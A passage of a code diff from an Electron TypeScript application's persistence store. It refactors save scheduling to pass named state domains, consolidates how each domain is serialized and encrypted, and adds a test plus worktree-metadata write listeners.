       syncProjectHostSetupCompatibilityState: () => syncProjectHostSetupCompatibilityState(owner),
-      scheduleSave: () => scheduleSave(owner[repoLifecycleOperationsContext].scheduling)
+      scheduleSave: () =>
+        scheduleSave(owner[repoLifecycleOperationsContext].scheduling, REPO_CATALOG_DOMAINS)
     })
   return owner[repoLifecycleOperationsContext].runtime.repoOrderOperations
 }
@@ -272,7 +274,8 @@ export function getRepoUpdateOperations(
       state: owner[repoLifecycleOperationsContext].runtime.state,
       bumpLocalWorktreeScanGeneration,
       syncProjectHostSetupCompatibilityState: () => syncProjectHostSetupCompatibilityState(owner),
-      scheduleSave: () => scheduleSave(owner[repoLifecycleOperationsContext].scheduling),
+      scheduleSave: () =>
+        scheduleSave(owner[repoLifecycleOperationsContext].scheduling, REPO_CATALOG_DOMAINS),
       hydrateRepo: (repo) => hydrateRepo(owner, repo)
     })
   return owner[repoLifecycleOperationsContext].runtime.repoUpdateOperations
@@ -295,7 +298,8 @@ export function getProjectHostSetupOperations(
     new ProjectHostSetupPersistenceOperations({
       state: owner[repoLifecycleOperationsContext].runtime.state,
       updateRepo: (target, updates) => owner.updateRepo(target, updates),
-      scheduleSave: () => scheduleSave(owner[repoLifecycleOperationsContext].scheduling)
+      scheduleSave: () =>
+        scheduleSave(owner[repoLifecycleOperationsContext].scheduling, ['projectHostSetups'])
     })
   return owner[repoLifecycleOperationsContext].runtime.projectHostSetupOperations
 }
diff --git a/src/main/persistence/loading-store/retired-worktree-name-persistence.ts b/src/main/persistence/loading-store/retired-worktree-name-persistence.ts
index 8a86e5f5540..c32b50ed0ab 100644
--- a/src/main/persistence/loading-store/retired-worktree-name-persistence.ts
+++ b/src/main/persistence/loading-store/retired-worktree-name-persistence.ts
@@ -88,7 +88,9 @@ export class RetiredWorktreeNamePersistence {
       namespaceKey,
       next
     )
-    scheduleSave(this[retiredWorktreeNamePersistenceContext].scheduling)
+    scheduleSave(this[retiredWorktreeNamePersistenceContext].scheduling, [
+      'retiredWorktreeNamesByNamespace'
+    ])
     return true
   }
 }
@@ -105,6 +107,8 @@ export function applyRetiredWorktreeNames(
   owner[retiredWorktreeNamePersistenceContext].runtime.state.retiredWorktreeNamesByRepo ??= {}
   owner[retiredWorktreeNamePersistenceContext].runtime.state.retiredWorktreeNamesByRepo[repoId] =
     next
-  scheduleSave(owner[retiredWorktreeNamePersistenceContext].scheduling)
+  scheduleSave(owner[retiredWorktreeNamePersistenceContext].scheduling, [
+    'retiredWorktreeNamesByRepo'
+  ])
   return true
 }
diff --git a/src/main/persistence/loading-store/sparse-preset-persistence.ts b/src/main/persistence/loading-store/sparse-preset-persistence.ts
index 3a9ed632e66..3f7fae052b2 100644
--- a/src/main/persistence/loading-store/sparse-preset-persistence.ts
+++ b/src/main/persistence/loading-store/sparse-preset-persistence.ts
@@ -32,7 +32,7 @@ export class SparsePresetPersistence {
       index === -1
         ? [...existing, preset]
         : existing.map((entry, entryIndex) => (entryIndex === index ? preset : entry))
-    scheduleSave(this[sparsePresetPersistenceContext].scheduling)
+    scheduleSave(this[sparsePresetPersistenceContext].scheduling, ['sparsePresetsByRepo'])
     return preset
   }
 
@@ -41,6 +41,6 @@ export class SparsePresetPersistence {
       this[sparsePresetPersistenceContext].runtime.state.sparsePresetsByRepo[repoId] ?? []
     this[sparsePresetPersistenceContext].runtime.state.sparsePresetsByRepo[repoId] =
       existing.filter((entry) => entry.id !== presetId)
-    scheduleSave(this[sparsePresetPersistenceContext].scheduling)
+    scheduleSave(this[sparsePresetPersistenceContext].scheduling, ['sparsePresetsByRepo'])
   }
 }
diff --git a/src/main/persistence/loading-store/ssh-lease-recovery-operations.ts b/src/main/persistence/loading-store/ssh-lease-recovery-operations.ts
index efbc1afa4a0..75324fc74a8 100644
--- a/src/main/persistence/loading-store/ssh-lease-recovery-operations.ts
+++ b/src/main/persistence/loading-store/ssh-lease-recovery-operations.ts
@@ -1,3 +1,4 @@
+import { WORKSPACE_SESSION_DOMAINS } from '../workspace-session-domains'
 import type { SshPendingPtyKill } from '../../../shared/ssh-pending-pty-kill'
 import type { SshRemotePtyLease } from '../../../shared/ssh-types'
 import type { PtyRetirementEvidence } from '../../pty/process-retirement/pty-exit-proof'
@@ -89,7 +90,8 @@ function getSshPtyBindingCleanupOperations(
         targetId,
         ptyId
       ),
-    scheduleSave: () => scheduleSave(owner[sshLeaseRecoveryOperationsContext].scheduling)
+    scheduleSave: () =>
+      scheduleSave(owner[sshLeaseRecoveryOperationsContext].scheduling, WORKSPACE_SESSION_DOMAINS)
   }
 }
 
diff --git a/src/main/persistence/loading-store/ssh-profile-operations.ts b/src/main/persistence/loading-store/ssh-profile-operations.ts
index f236db609ba..8f7ee60bf24 100644
--- a/src/main/persistence/loading-store/ssh-profile-operations.ts
+++ b/src/main/persistence/loading-store/ssh-profile-operations.ts
@@ -1,4 +1,6 @@
 import type { RemovedSshTargetTombstone, SshTarget } from '../../../shared/ssh-types'
+import { WORKSPACE_SESSION_DOMAINS } from '../workspace-session-domains'
+import { WORKTREE_METADATA_DOMAINS } from '../profile-save-domains'
 import {
   type SshTargetStateOperations,
   addDeletedSshConfigAlias as addDeletedSshConfigAliasOperation,
@@ -37,6 +39,23 @@ type SshProfileOperationsContext = {
   repos: RepoLifecycleOperations
 }
 
+/** Re-adopting an SSH target rewrites every record that names the old target. */
+const SSH_TARGET_REASSIGNMENT_DOMAINS = [
+  'repos',
+  'projects',
+  'projectHostSetups',
+  ...WORKTREE_METADATA_DOMAINS,
+  ...WORKSPACE_SESSION_DOMAINS,
+  'ui',
+  'retiredWorktreeNamesByNamespace',
+  'folderWorkspaces',
+  'projectGroups',
+  'automations',
+  'automationRuns',
+  'sshRemotePtyLeases',
+  'sshPtyConsumerRecoveries'
+]
+
 export class SshProfileOperations {
   readonly [sshProfileOperationsContext]: SshProfileOperationsContext
 
@@ -75,7 +94,7 @@ export class SshProfileOperations {
   allocateSshTargetGeneration(): number {
     const context = this[sshProfileOperationsContext]
     return allocateSshTargetGenerationOperation(context.runtime.state, () =>
-      scheduleSave(context.scheduling)
+      scheduleSave(context.scheduling, ['sshTargetGenerationCounter'])
     )
   }
 
@@ -117,7 +136,8 @@ export class SshProfileOperations {
       protectedSecrets: this[sshProfileOperationsContext].runtime.protectedSecrets,
       syncProjectHostSetupCompatibilityState: () =>
         syncProjectHostSetupCompatibilityState(this[sshProfileOperationsContext].repos),
-      scheduleSave: () => scheduleSave(this[sshProfileOperationsContext].scheduling)
+      scheduleSave: () =>
+        scheduleSave(this[sshProfileOperationsContext].scheduling, SSH_TARGET_REASSIGNMENT_DOMAINS)
     }
     return reassignSshTargetIdOperation(operations, oldTargetId, newTargetId)
   }
@@ -127,6 +147,6 @@ export function getSshTargetStateOperations(owner: SshProfileOperations): SshTar
   return {
     state: owner[sshProfileOperationsContext].runtime.state,
     protectedSecrets: owner[sshProfileOperationsContext].runtime.protectedSecrets,
-    scheduleSave: () => scheduleSave(owner[sshProfileOperationsContext].scheduling)
+    scheduleSave: (domains) => scheduleSave(owner[sshProfileOperationsContext].scheduling, domains)
   }
 }
diff --git a/src/main/persistence/loading-store/state-serialization-secret-handling.test.ts b/src/main/persistence/loading-store/state-serialization-secret-handling.test.ts
new file mode 100644
index 00000000000..b36b4d4f4fe
--- /dev/null
+++ b/src/main/persistence/loading-store/state-serialization-secret-handling.test.ts
@@ -0,0 +1,90 @@
+import { describe, it, expect, vi } from 'vitest'
+import { getDefaultPersistedState } from '../../../shared/constants'
+import { folderWorkspaceKey } from '../../../shared/workspace-scope'
+import type { WorktreeMeta } from '../../../shared/worktree/meta-types'
+import { ProtectedSecretPersistence } from '../../credentials/protected-secret-persistence'
+import { StateSerializationSecretHandlingOperations } from './state-serialization-secret-handling'
+
+vi.mock('electron', () => ({
+  safeStorage: {
+    isEncryptionAvailable: () => true,
+    encryptString: (plaintext: string) => Buffer.from(`encrypted:${plaintext}`, 'utf-8'),
+    decryptString: (ciphertext: Buffer) => ciphertext.toString('utf-8').slice('encrypted:'.length)
+  }
+}))
+
+describe('profile save serialization', () => {
+  it('saves every named domain exactly as a whole save does', () => {
+    const state = getDefaultPersistedState('/home/user')
+    state.settings.httpProxyUrl = 'http://proxy.example:8080'
+    state.ui.browserKagiSessionLink = 'https://kagi.example/session'
+    state.folderWorkspaces = [
+      {
+        id: 'fw-1',
+        projectGroupId: 'group-1',
+        name: 'Refund fix',
+        folderPath: '/workspace/platform',
+        linkedTask: null,
+        comment: '',
+        isArchived: false,
+        isUnread: false,
+        isPinned: false,
+        sortOrder: 0,
+        lastActivityAt: 1,
+        createdAt: 1,
+        updatedAt: 1,
+        diffComments: [
+          {
+            id: 'note-1',
+            worktreeId: folderWorkspaceKey('fw-1'),
+            filePath: 'README.md',
+            source: 'markdown',
+            lineNumber: 1,
+            body: 'Review this',
+            createdAt: 100,
+            side: 'modified'
+          }
+        ]
+      }
+    ]
+    const row: WorktreeMeta = {
+      instanceId: 'instance-1',
+      hostId: 'local',
+      displayName: 'wt-1',
+      comment: 'pinned',
+      linkedIssue: null,
+      linkedPR: null,
+      linkedLinearIssue: null,
+      isArchived: false,
+      isUnread: false,
+      isPinned: false,
+      sortOrder: 0,
+      lastActivityAt: 1
+    }
+    state.worktreeMeta = { 'repo-1::/work/wt-1': row }
+    state.worktreeMetaByIdentity = { 'wt2:local:instance-1': row }
+    state.worktreeIdentityAliases = { 'local::repo-1::/work/wt-1': ['wt2:local:instance-1'] }
+    state.sshPtyConsumerRecoveries = [
+      {
+        targetId: 'ssh-1',
+        clientInstanceId: 'client-1',
+        serverBuildId: 'server-1',
+        clientGeneration: 1,
+        ownerGeneration: 1,
+        ownerLease: 'lease-secret'
+      }
+    ]
+    const serialization = new StateSerializationSecretHandlingOperations({
+      protectedSecrets: new ProtectedSecretPersistence(),
+      state
+    })
+
+    const whole = serialization.buildStateToSave(true).domains!
+    const named = serialization.buildStateDomainsToSave(new Set(whole.map(({ domain }) => domain)))
+
+    expect(named).toBeDefined()
+    expect(new Map(named!.replacements.map(({ domain, payload }) => [domain, payload]))).toEqual(
+      new Map(whole.map(({ domain, payload }) => [domain, payload]))
+    )
+  })
+})
diff --git a/src/main/persistence/loading-store/state-serialization-secret-handling.ts b/src/main/persistence/loading-store/state-serialization-secret-handling.ts
index 05d859c8cae..f97760b3c57 100644
--- a/src/main/persistence/loading-store/state-serialization-secret-handling.ts
+++ b/src/main/persistence/loading-store/state-serialization-secret-handling.ts
@@ -16,6 +16,7 @@ import { LEGACY_OPENCODE_GO_API_KEY_SLOT } from './legacy-opencode-go-api-key-mi
 import { omitDefaultWorktreeMetaFieldsInMap } from '../../../shared/worktree/meta-persisted-defaults'
 import { projectWorktreeMetaByIdentityOntoLocators } from './worktree-meta-alias-projection'
 import { withoutRedundantPartitionGlobals } from '../../../shared/workspace-session/workspace-session-host-field-ownership'
+import { WORKTREE_METADATA_DOMAINS } from '../profile-save-domains'
 
 import {
   applySecretSentinelSubstitutions,
@@ -23,6 +24,42 @@ import {
 } from './secret-sentinel-substitution'
 import type { StoreRuntimeState } from './store-runtime-state'
 
+/** Domains whose saved form differs from state; whole saves keep this order after the durable spread. */
+const PROJECTED_SAVE_DOMAINS = [
+  'worktreeMeta',
+  'worktreeMetaByIdentity',
+  'workspaceSessionsByHostId',
+  'folderWorkspaces',
+  'folderWorkspaceDiffComments',
+  'sshPtyConsumerRecoveries',
+  'settings',
+  'ui'
+] as const
+
+/** Saved domains derived from another domain's state must be written with it. */
+const DEPENDENT_SAVE_DOMAINS = new Map<string, readonly string[]>([
+  ['folderWorkspaces', ['folderWorkspaceDiffComments']],
+  ...WORKTREE_METADATA_DOMAINS.map((domain): [string, readonly string[]] => [
+    domain,
+    WORKTREE_METADATA_DOMAINS
+  ])
+])
+
+function withDependentSaveDomains(domains: ReadonlySet<string>): ReadonlySet<string> {
+  const saved = new Set<string>()
+  for (const domain of domains) {
+    // Memory-only state never reaches disk.
+    if (domain === 'githubCache') {
+      continue
+    }
+    saved.add(domain)
+    for (const dependent of DEPENDENT_SAVE_DOMAINS.get(domain) ?? []) {
+      saved.add(dependent)
+    }
+  }
+  return saved
+}
+
 type StateSerializationSecretHandlingOperationsRuntime = Pick<
   StoreRuntimeState,
   'protectedSecrets' | 'state' | 'originalExperimentalNativeChat'
@@ -36,7 +73,7 @@ export class StateSerializationSecretHandlingOperations {
     return durable
   }
 
-  /** Unknown domains require full serialization so secret retention stays complete. */
+  /** Pending encryption requires full serialization so secret retention stays complete. */
   buildStateDomainsToSave(domains: ReadonlySet<string>):
     | {
         replacements: ProfileStateDomainReplacement[]
@@ -47,7 +84,6 @@ export class StateSerializationSecretHandlingOperations {
     if (this.runtime.protectedSecrets.hasPendingEncryption()) {
       return undefined
     }
-    const stateToSave: Record<string, unknown> = {}
     const protectedSecretUpdates: ProtectedSecretRetentionUpdate[] = []
     const encrypt = (slot: string, plaintext: string): string => {
       const encrypted = this.runtime.protectedSecrets.encrypt(slot, plaintext)
@@ -56,70 +92,13 @@ export class StateSerializationSecretHandlingOperations {
       }
       return encrypted.blob
     }
-    for (const domain of domains) {
-      switch (domain) {
-        case 'settings':
-          stateToSave[domain] = this.buildSettingsToSave(encrypt)
-          break
-        case 'workspaceSession':
-          stateToSave[domain] = this.runtime.state.workspaceSession
-          break
-        case 'automations':
-        case 'automationRuns':
-          stateToSave[domain] = this.runtime.state[domain]
-          break
-        case 'featureInteractionTelemetryBuckets':
-          stateToSave[domain] = this.runtime.state.featureInteractionTelemetryBuckets
-          break
-        case 'ui':
-          stateToSave[domain] = {
-            ...this.runtime.state.ui,
-            browserKagiSessionLink:
-              encrypt(
-                PROTECTED_SECRET_SLOT.browserKagiSessionLink,
-                this.runtime.state.ui.browserKagiSessionLink ?? ''
-              ) || null
-          }
-          break
-        case 'worktreeMeta':
-          stateToSave[domain] = omitDefaultWorktreeMetaFieldsInMap(this.runtime.state.worktreeMeta)
-          break
-        case 'worktreeMetaByIdentity':
-          if (this.runtime.state.worktreeMetaByIdentity !== undefined) {
-            stateToSave[domain] = omitDefaultWorktreeMetaFieldsInMap(
-              projectWorktreeMetaByIdentityOntoLocators(
-                this.runtime.state.worktreeMetaByIdentity,
-                this.runtime.state
-              )
-            )
-          }
-          break
-        case 'worktreeIdentityAliases':
-          if (this.runtime.state.worktreeIdentityAliases !== undefined) {
-            stateToSave[domain] = this.runtime.state.worktreeIdentityAliases
-          }
-          break
-        case 'workspaceSessionsByHostId':
-          if (this.runtime.state.workspaceSessionsByHostId !== undefined) {
-            stateToSave[domain] = withoutRedundantPartitionGlobals(
-              this.runtime.state.workspaceSessionsByHostId,
-              this.runtime.state.workspaceSession
-            )
-          }
-          break
-        case 'sshRemotePtyLeases':
-        case 'remoteLayoutSnapshots':
-        case 'hostRepoCatalogSnapshots':
-        case 'legacyPaneKeyAliasEntries':
-        case 'migrationUnsupportedPtyEntries':
-          stateToSave[domain] = this.runtime.state[domain]
-          break
-        default:
-          return undefined
-      }
+    const saved = withDependentSaveDomains(domains)
+    const stateToSave: Record<string, unknown> = {}
+    for (const domain of saved) {
+      stateToSave[domain] = this.projectDomainToSave(domain, encrypt)
     }
     return {
-      replacements: serializeSelectiveProfileStateDomains(stateToSave, domains),
+      replacements: serializeSelectiveProfileStateDomains(stateToSave, saved),
       protectedSecretUpdates
     }
   }
@@ -148,67 +127,10 @@ export class StateSerializationSecretHandlingOperations {
       secretSubs.push({ sentinel, blob, hashValue })
       return sentinel
     }
-    const encryptOptionalToSentinel = (
-      slot: string,
-      plaintext: string | null | undefined
-    ): string | null => {
-      const encrypted = encryptToSentinel(slot, plaintext ?? '')
-      return encrypted || null
-    }
-    // Project shared aliases before default omission clones rows, avoiding per-row deep comparisons.
-    const projectedWorktreeMetaByIdentity =
-      this.runtime.state.worktreeMetaByIdentity === undefined
-        ? undefined
-        : projectWorktreeMetaByIdentityOntoLocators(
-            this.runtime.state.worktreeMetaByIdentity,
-            this.runtime.state
-          )
     // Clone before encryption to keep in-memory state plaintext.
-    const stateToSave = {
-      ...this.getDurableState(),
-      // Load normalization restores omitted default metadata fields.
-      worktreeMeta: omitDefaultWorktreeMetaFieldsInMap(this.runtime.state.worktreeMeta),
-      ...(projectedWorktreeMetaByIdentity !== undefined
-        ? {
-            worktreeMetaByIdentity: omitDefaultWorktreeMetaFieldsInMap(
-              projectedWorktreeMetaByIdentity
-            )
-          }
-        : {}),
-      // Local owns these globals; host partitions restore defaults on load.
-      ...(this.runtime.state.workspaceSessionsByHostId !== undefined
-        ? {
-            workspaceSessionsByHostId: withoutRedundantPartitionGlobals(
-              this.runtime.state.workspaceSessionsByHostId,
-              this.runtime.state.workspaceSession
-            )
-          }
-        : {}),
-      // Override both spread keys to relocate notes without mutating in-memory workspace rows.
-      // Undefined omits the map entirely when no notes exist.
-      folderWorkspaces: (this.runtime.state.folderWorkspaces ?? []).map(
-        ({ diffComments: _relocated, ...rest }) => rest
-      ),
-      folderWorkspaceDiffComments: collectFolderWorkspaceDiffComments(
-        this.runtime.state.folderWorkspaces
-      ),
-      sshPtyConsumerRecoveries: (this.runtime.state.sshPtyConsumerRecoveries ?? []).map(
-        (record) => ({
-          ...record,
-          ownerLease: encryptToSentinel(
-            sshPtyOwnerLeaseSecretSlot(record.targetId),
-            record.ownerLease
-          )
-        })
-      ),
-      settings: this.buildSettingsToSave(encryptToSentinel),
-      ui: {
-        ...this.runtime.state.ui,
-        browserKagiSessionLink: encryptOptionalToSentinel(
-          PROTECTED_SECRET_SLOT.browserKagiSessionLink,
-          this.runtime.state.ui.browserKagiSessionLink
-        )
-      }
+    const stateToSave: Record<string, unknown> = { ...this.getDurableState() }
+    for (const domain of PROJECTED_SAVE_DOMAINS) {
+      stateToSave[domain] = this.projectDomainToSave(domain, encryptToSentinel)
     }
     if (
       serializeDomains &&
@@ -238,6 +160,60 @@ export class StateSerializationSecretHandlingOperations {
     return { payload, stateHash, protectedSecretUpdates }
   }
 
+  /** The one saved form of each domain, shared by selective and whole saves. */
+  private projectDomainToSave(
+    domain: string,
+    encrypt: (slot: string, plaintext: string) => string
+  ): unknown {
+    const { state } = this.runtime
+    switch (domain) {
+      case 'githubCache':
+        return undefined
+      case 'settings':
+        return this.buildSettingsToSave(encrypt)
+      case 'ui':
+        return {
+          ...state.ui,
+          browserKagiSessionLink:
+            encrypt(
+              PROTECTED_SECRET_SLOT.browserKagiSessionLink,
+              state.ui.browserKagiSessionLink ?? ''
+            ) || null
+        }
+      // Load normalization restores omitted default metadata fields.
+      case 'worktreeMeta':
+        return omitDefaultWorktreeMetaFieldsInMap(state.worktreeMeta)
+      // Project shared aliases before default omission clones rows, avoiding per-row deep comparisons.
+      case 'worktreeMetaByIdentity':
+        return state.worktreeMetaByIdentity === undefined
+          ? undefined
+          : omitDefaultWorktreeMetaFieldsInMap(
+              projectWorktreeMetaByIdentityOntoLocators(state.worktreeMetaByIdentity, state)
+            )
+      // Local owns these globals; host partitions restore defaults on load.
+      case 'workspaceSessionsByHostId':
+        return state.workspaceSessionsByHostId === undefined
+          ? undefined
+          : withoutRedundantPartitionGlobals(
+              state.workspaceSessionsByHostId,
+              state.workspaceSession
+            )
+      // Relocate notes without mutating in-memory workspace rows; undefined omits the map when none exist.
+      case 'folderWorkspaces':
+        return (state.folderWorkspaces ?? []).map(({ diffComments: _relocated, ...rest }) => rest)
+      case 'folderWorkspaceDiffComments':
+        return collectFolderWorkspaceDiffComments(state.folderWorkspaces)
+      case 'sshPtyConsumerRecoveries':
+        return (state.sshPtyConsumerRecoveries ?? []).map((record) => ({
+          ...record,
+          ownerLease: encrypt(sshPtyOwnerLeaseSecretSlot(record.targetId), record.ownerLease)
+        }))
+      default:
+        // Own properties only, including domains this build doesn't know.
+        return Object.getOwnPropertyDescriptor(state, domain)?.value
+    }
+  }
+
   private buildSettingsToSave(encrypt: (slot: string, plaintext: string) => string) {
     return {
       ...stripRetiredGlobalSettings(this.runtime.state.settings),
diff --git a/src/main/persistence/loading-store/store-domain-composition.ts b/src/main/persistence/loading-store/store-domain-composition.ts
index 0381ec482c8..eab60b4b077 100644
--- a/src/main/persistence/loading-store/store-domain-composition.ts
+++ b/src/main/persistence/loading-store/store-domain-composition.ts
@@ -1,4 +1,5 @@
 import type { StoreRuntimeState } from './store-runtime-state'
+import { WORKSPACE_SESSION_DOMAINS } from '../workspace-session-domains'
 import type { Store } from './store'
 import { LoadedStateAdaptationOperations } from './loaded-state-adaptation'
 import { LoadedCohortMigrationOperations } from './loaded-cohort-migrations'
@@ -185,8 +186,10 @@ export function createStoreDomains(runtime: StoreRuntimeState): StoreDomains {
     layoutCommands: new LayoutCommandPersistence(
       runtime,
       sessions,
-      // Retry persistence for terminal closes retained after failed writes.
-      ORCA_LAYOUT_OWNER_IS_MAIN ? () => scheduleSave(scheduling) : undefined
+      // Retry persistence for terminal closes retained after failed writes; a close edits sessions only.
+      ORCA_LAYOUT_OWNER_IS_MAIN
+        ? () => scheduleSave(scheduling, WORKSPACE_SESSION_DOMAINS)
+        : undefined
     ),
     sshProfiles,
     retiredWorktreeNames,
diff --git a/src/main/persistence/loading-store/store-runtime-state.ts b/src/main/persistence/loading-store/store-runtime-state.ts
index 951187da47b..d089fa159a4 100644
--- a/src/main/persistence/loading-store/store-runtime-state.ts
+++ b/src/main/persistence/loading-store/store-runtime-state.ts
@@ -1,3 +1,4 @@
+import { randomUUID } from 'node:crypto'
 import { removeStaleDurableWriteTempFiles } from '../../filesystem/durable-file-write'
 import type { GlobalSettings } from '../../../shared/global-settings-types'
 import type { PersistedState } from '../../../shared/persisted-state-types'
@@ -6,7 +7,7 @@ import type {
   WorkspaceSessionWriteListener
 } from './workspace-session-write-listeners'
 import type { ExecutionHostId } from '../../../shared/execution-host'
-import type { StateWriteListener } from './write-scheduling'
+import type { StateWriteListener, WorktreeMetaWriteListener } from './write-scheduling'
 import type { PartitionEditorViews } from './layout-editor-views'
 import type { ActiveViewPreference } from '../preferences/active-view-preference'
 import {
@@ -114,6 +115,9 @@ export class StoreRuntimeState {
   /** In-memory editor views by partition; layout-owner builds only. */
   readonly layoutEditorViews = new Map<ExecutionHostId, PartitionEditorViews>()
   readonly stateWriteListeners = new Set<StateWriteListener>()
+  readonly worktreeMetaWriteListeners = new Set<WorktreeMetaWriteListener>()
+  // This store's workspaceMetadata position: a new epoch per process, one seq per published record.
+  readonly workspaceMetadataCursor = { epoch: randomUUID(), seq: 0 }
   projectHostOperations: ProjectHostPersistenceOperations | null = null
   projectGroupOperations: ProjectGroupPersistenceOperations | null = null
   folderWorkspaceOperations: FolderWorkspacePersistenceOperations | null = null
diff --git a/src/main/persistence/loading-store/store.ts b/src/main/persistence/loading-store/store.ts
index 0deffce5565..c25eecde0b5 100644
--- a/src/main/persistence/loading-store/store.ts
+++ b/src/main/persistence/loading-store/store.ts
@@ -23,7 +23,7 @@ import {
   bindPersistedTabTerminalPanes,
   sweepPersistedUnattachedTerminalRows
 } from '../restoring-sessions/tab-terminal-pane-binding-repair'
-import { scheduleSave } from './write-scheduling'
+import { scheduleFullProfileSave, scheduleSave } from './write-scheduling'
 import {
   migrateLegacyOpenCodeGoApiKey,
   type OpenCodeGoApiKeyTarget
@@ -177,7 +177,7 @@ export class Store {
         adaptedProjectGroups ||
         sweptRepoIds.length > 0
       ) {
-        scheduleSave(this.domains.scheduling)
+        scheduleFullProfileSave(this.domains.scheduling)
       }
     }
   }
@@ -185,7 +185,7 @@ export class Store {
   /** Retain the legacy settings key until migration to the main-owned store succeeds. */
   migrateLegacyOpenCodeGoApiKey(target: OpenCodeGoApiKeyTarget): void {
     if (migrateLegacyOpenCodeGoApiKey(this.runtime.protectedSecrets, target)) {
-      scheduleSave(this.domains.scheduling)
+      scheduleSave(this.domains.scheduling, ['settings'])
     }
   }
 
diff --git a/src/main/persistence/loading-store/workspace-session-snapshot-publication.ts b/src/main/persistence/loading-store/workspace-session-snapshot-publication.ts
index 5dbd4e1077f..2a0e2222c5a 100644
--- a/src/main/persistence/loading-store/workspace-session-snapshot-publication.ts
+++ b/src/main/persistence/loading-store/workspace-session-snapshot-publication.ts
@@ -1,4 +1,5 @@
 import type { PersistedState } from '../../../shared/persisted-state-types'
+import { WORKSPACE_SESSION_DOMAINS } from '../workspace-session-domains'
 import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types'
 import { sanitizeWorkspaceSessionTerminalRetirements } from '../../runtime/terminal/surface/mobile-session-terminal-persistence-retirement'
 import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../shared/execution-host'
@@ -121,7 +122,11 @@ export function setLocalWorkspaceSession(
     remappedManualUnread.changed
   ) {
     // UI remaps include protected fields, so keep the complete serializer boundary.
-    scheduleSave(context.scheduling, undefined, LOCAL_EXECUTION_HOST_ID)
+    scheduleSave(
+      context.scheduling,
+      [WORKSPACE_SESSION_DOMAINS[0], 'ui', 'sshRemotePtyLeases'],
+      LOCAL_EXECUTION_HOST_ID
+    )
   } else {
     scheduleSave(
       context.scheduling,
diff --git a/src/main/persistence/loading-store/worktree-identity-metadata.ts b/src/main/persistence/loading-store/worktree-identity-metadata.ts
index 8a9a78369b8..4dace783a0c 100644
--- a/src/main/persistence/loading-store/worktree-identity-metadata.ts
+++ b/src/main/persistence/loading-store/worktree-identity-metadata.ts
@@ -14,23 +14,19 @@ import type { StoreRuntimeState } from './store-runtime-state'
 
 import { type WriteSchedulingOperations, scheduleSave } from './write-scheduling'
 import { mergeWorktreeMetaForWrite } from './worktree-meta-write-normalization'
+import { WORKTREE_METADATA_DOMAINS } from '../profile-save-domains'
 import {
   isLocalOnlyWorktreeMetaId,
   worktreeMetaHostFor
 } from '../../../shared/worktree/local-only-worktree-meta-ids'
 
-type MetadataRuntime = Pick<StoreRuntimeState, 'state'>
+type MetadataRuntime = Pick<StoreRuntimeState, 'state'> &
+  Partial<Pick<StoreRuntimeState, 'worktreeMetaWriteListeners'>>
 type WorktreeMetaState = Pick<
   PersistedState,
   'worktreeMeta' | 'worktreeMetaByIdentity' | 'worktreeIdentityAliases'
 >
 
-export const WORKTREE_METADATA_DOMAINS = [
-  'worktreeMeta',
-  'worktreeMetaByIdentity',
-  'worktreeIdentityAliases'
-] as const
-
 export function resolveAliasIdentityKey(
   state: WorktreeMetaState,
   alias: string
@@ -265,5 +261,13 @@ export function setWorktreeMetaForHost(
     state.worktreeMeta[worktreeId] = updated
   }
   scheduleSave(scheduling, WORKTREE_METADATA_DOMAINS)
+  for (const listener of runtime.worktreeMetaWriteListeners ?? []) {
+    try {
+      listener({ worktreeId, hostId: executionHostId, previous: existing, next: updated })
+    } catch (error) {
+      // The row is already written; an observer's failure must not report the write as failed.
+      console.error('[worktree-meta] write listener failed:', error)
+    }
+  }
   return updated
 }
diff --git a/src/main/persistence/loading-store/worktree-meta-write-normalization.ts b/src/main/persistence/loading-store/worktree-meta-write-normalization.ts
index 638623f5202..e98a0e2e7f7 100644
--- a/src/main/persistence/loading-store/worktree-meta-write-normalization.ts
+++ b/src/main/persistence/loading-store/worktree-meta-write-normalization.ts
@@ -49,7 +49,7 @@ export function mergeWorktreeMetaForWrite(
   const normalizedUpdates = normalizeWorkspaceAttachmentUpdate(existing, metaUpdates)
   const updated = {
     ...(existing ?? createDefaultWorktreeMeta()),
-    ...normalizeGitHubPRSuppressionUpdate(normalizedUpdates),
+    ...normalizeGitHubPRSuppressionUpdate(normalizedUpdates, existing?.linkedPR),
     ...identity
   }
   updated.linkedWorkItem = normalizeWorkspaceLinkedItem(updated.linkedWorkItem)
diff --git a/src/main/persistence/loading-store/write-scheduling.ts b/src/main/persistence/loading-store/write-scheduling.ts
index a5bd9ccd810..e84f9d71485 100644
--- a/src/main/persistence/loading-store/write-scheduling.ts
+++ b/src/main/persistence/loading-store/write-scheduling.ts
@@ -9,9 +9,18 @@ import {
 } from './workspace-session-write-listeners'
 import { ptyBindingGenerationOf } from './pty-binding-generations'
 import type { PartitionEditorViews } from './layout-editor-views'
+import type { ProfileSaveDomains } from '../profile-save-domains'
+import type { WorktreeMeta } from '../../../shared/worktree/meta-types'
 
 /** Undefined means any domain may have changed. */
 export type StateWriteListener = (dirtyDomains: readonly string[] | undefined) => void
+/** One host's worktree metadata row before and after a write. */
+export type WorktreeMetaWriteListener = (write: {
+  worktreeId: string
+  hostId: ExecutionHostId
+  previous: WorktreeMeta | undefined
+  next: WorktreeMeta
+}) => void
 
 const SAVE_DEBOUNCE_MS = 1_000
 const SAVE_MAX_WAIT_MS = 5_000
@@ -20,6 +29,7 @@ type WriteSchedulingOperationsRuntime = Pick<
   StoreRuntimeState,
   | 'activeViewPreference'
   | 'automationListProjectionCache'
+  | 'pendingAutomationRunsAfter'
   | 'dirtyProfileStateDomains'
   | 'firstPendingSaveAt'
   | 'pendingWrite'
@@ -31,6 +41,8 @@ type WriteSchedulingOperationsRuntime = Pick<
   | 'workspaceSessionWriteListeners'
   | 'workspaceSessionOperationListeners'
   | 'stateWriteListeners'
+  | 'worktreeMetaWriteListeners'
+  | 'workspaceMetadataCursor'
   | 'ptyBindingGenerations'
   | 'layoutEditorViews'
   | 'state'
@@ -88,11 +100,47 @@ export class WriteSchedulingOperations {
       runtime.stateWriteListeners.delete(listener)
     }
   }
+
+  /** The workspaceMetadata position a listing records when it reads metadata. */
+  getWorkspaceMetadataCursor(): { epoch: string; seq: number } {
+    const { epoch, seq } = this[writeSchedulingOperationsContext].runtime.workspaceMetadataCursor
+    return { epoch, seq }
+  }
+
+  /** Advances the position for one published record; call in the same turn as its metadata write. */
+  advanceWorkspaceMetadataCursor(): { epoch: string; seq: number } {
+    const cursor = this[writeSchedulingOperationsContext].runtime.workspaceMetadataCursor
+    cursor.seq += 1
